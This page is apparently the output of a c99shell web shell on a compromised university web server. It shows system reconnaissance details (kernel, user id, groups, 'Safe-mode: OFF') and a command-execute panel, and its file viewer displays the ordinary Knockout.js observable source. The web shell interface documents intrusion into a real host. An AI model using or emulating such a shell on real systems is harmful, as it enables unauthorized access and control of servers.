Software: Apache/2.2.22 (Debian). PHP/5.6.36 uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) Safe-mode: OFF (not secure) /home/h33678/data/www/it-man.ztu.edu.ua/bower_components/knockout/src/subscribables/ drwxr-xr-x |
Viewing file: Select action/file-type: var observableLatestValue = ko.utils.createSymbolOrString('_latestValue'); ko.observable = function (initialValue) { function observable() { if (arguments.length > 0) { // Write // Ignore writes if the value hasn't changed if (observable.isDifferent(observable[observableLatestValue], arguments[0])) { observable.valueWillMutate(); observable[observableLatestValue] = arguments[0]; observable.valueHasMutated(); } return this; // Permits chained assignments } else { // Read ko.dependencyDetection.registerDependency(observable); // The caller only needs to be notified of changes if they did a "read" operation return observable[observableLatestValue]; } } observable[observableLatestValue] = initialValue; // Inherit from 'subscribable' if (!ko.utils.canSetPrototype) { // 'subscribable' won't be on the prototype chain unless we put it there directly ko.utils.extend(observable, ko.subscribable['fn']); } ko.subscribable['fn'].init(observable); // Inherit from 'observable' ko.utils.setPrototypeOfOrExtend(observable, observableFn); if (ko.options['deferUpdates']) { ko.extenders['deferred'](observable, true); } return observable; } // Define prototype for observables var observableFn = { 'equalityComparer': valuesArePrimitiveAndEqual, peek: function() { return this[observableLatestValue]; }, valueHasMutated: function () { this['notifySubscribers'](this[observableLatestValue]); }, valueWillMutate: function () { this['notifySubscribers'](this[observableLatestValue], 'beforeChange'); } }; // Note that for browsers that don't support proto assignment, the // inheritance chain is created manually in the ko.observable constructor if (ko.utils.canSetPrototype) { ko.utils.setPrototypeOf(observableFn, ko.subscribable['fn']); } var protoProperty = ko.observable.protoProperty = '__ko_proto__'; observableFn[protoProperty] = ko.observable; ko.hasPrototype = function(instance, prototype) { if ((instance === null) || (instance === undefined) || (instance[protoProperty] === undefined)) return false; if (instance[protoProperty] === prototype) return true; return ko.hasPrototype(instance[protoProperty], prototype); // Walk the prototype chain }; ko.isObservable = function (instance) { return ko.hasPrototype(instance, ko.observable); } ko.isWriteableObservable = function (instance) { // Observable if ((typeof instance == 'function') && instance[protoProperty] === ko.observable) return true; // Writeable dependent observable if ((typeof instance == 'function') && (instance[protoProperty] === ko.dependentObservable) && (instance.hasWriteFunction)) return true; // Anything else return false; } ko.exportSymbol('observable', ko.observable); ko.exportSymbol('isObservable', ko.isObservable); ko.exportSymbol('isWriteableObservable', ko.isWriteableObservable); ko.exportSymbol('isWritableObservable', ko.isWriteableObservable); ko.exportSymbol('observable.fn', observableFn); ko.exportProperty(observableFn, 'peek', observableFn.peek); ko.exportProperty(observableFn, 'valueHasMutated', observableFn.valueHasMutated); ko.exportProperty(observableFn, 'valueWillMutate', observableFn.valueWillMutate); |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0364 ]-- |